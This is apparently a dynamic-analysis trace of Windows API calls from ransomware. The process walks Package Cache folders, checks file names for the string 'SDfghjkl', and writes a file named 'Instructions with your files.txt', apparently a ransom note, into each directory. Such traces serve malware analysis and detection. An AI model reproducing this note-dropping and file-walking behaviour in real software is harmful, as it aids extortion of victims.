[0132.102] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0132.102] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0132.102] CloseHandle (hObject=0x110) returned 1
[0132.102] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0132.102] GetProcessHeap () returned 0x810000
[0132.102] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0132.102] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb533c820, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb533c820, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 1
[0132.102] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned 86
[0132.102] GetProcessHeap () returned 0x810000
[0132.102] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0132.102] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*") returned 88
[0132.102] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb533c820, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb533c820, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0132.102] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\.") returned 88
[0132.102] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb533c820, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb533c820, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.103] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\..") returned 89
[0132.103] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb533c820, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb533c820, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb571abe0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.103] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\Instructions with your files.txt") returned 119
[0132.103] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.103] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb5231e80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb5231e80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
[0132.103] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages") returned 95
[0132.103] GetProcessHeap () returned 0x810000
[0132.103] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0132.103] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\*") returned 97
[0132.103] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb5231e80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb5231e80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0132.103] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\.") returned 97
[0132.103] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb5231e80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb5231e80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.103] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\..") returned 98
[0132.103] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5231e80, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb5231e80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb527e140, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.103] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\Instructions with your files.txt") returned 128
[0132.103] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.103] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb50b50c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb50b50c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1
[0132.103] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86") returned 119
[0132.103] GetProcessHeap () returned 0x810000
[0132.103] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0132.103] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*") returned 121
[0132.103] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb50b50c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb50b50c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0132.103] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\.") returned 121
[0132.103] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb50b50c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb50b50c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.103] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\..") returned 122
[0132.103] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x532ebf00, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x532ebf00, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x532ebf00, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0x4b4520, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
[0132.104] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab") returned 128
[0132.104] StrStrIW (lpFirst="cab1.cab", lpSrch="SDfghjkl") returned 0x0
[0132.104] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4eec040, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb4eec040, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb51e5bc0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.104] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\Instructions with your files.txt") returned 152
[0132.104] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.104] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f9b3800, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x4f9b3800, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x4f9b3800, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
[0132.104] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi") returned 148
[0132.104] StrStrIW (lpFirst="vc_runtimeAdditional_x86.msi", lpSrch="SDfghjkl") returned 0x0
[0132.104] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f9b3800, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x4f9b3800, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x4f9b3800, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
[0132.104] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\Instructions with your files.txt") returned 152
[0132.104] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0132.104] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0132.105] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0132.105] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0132.105] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0132.105] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0132.105] CloseHandle (hObject=0x118) returned 1
[0132.105] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0132.105] GetProcessHeap () returned 0x810000
[0132.105] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0132.105] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb50b50c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb50b50c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0
[0132.105] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\Instructions with your files.txt") returned 128
[0132.105] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0132.106] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0132.106] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0132.107] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0132.107] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0132.107] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0132.107] CloseHandle (hObject=0x114) returned 1
[0132.107] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0132.107] GetProcessHeap () returned 0x810000
[0132.107] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0132.107] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb5231e80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb5231e80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
[0132.107] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\Instructions with your files.txt") returned 119
[0132.107] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0132.107] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0132.108] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0132.108] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0132.108] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0132.108] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0132.108] CloseHandle (hObject=0x110) returned 1
[0132.108] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0132.109] GetProcessHeap () returned 0x810000
[0132.109] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0132.109] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb533c820, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb533c820, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 0
[0132.109] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\Instructions with your files.txt") returned 69
[0132.109] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0132.109] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0132.121] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0132.121] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0132.122] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0132.122] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0132.122] CloseHandle (hObject=0x10c) returned 1
[0132.122] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0132.122] GetProcessHeap () returned 0x810000
[0132.122] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0132.122] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1
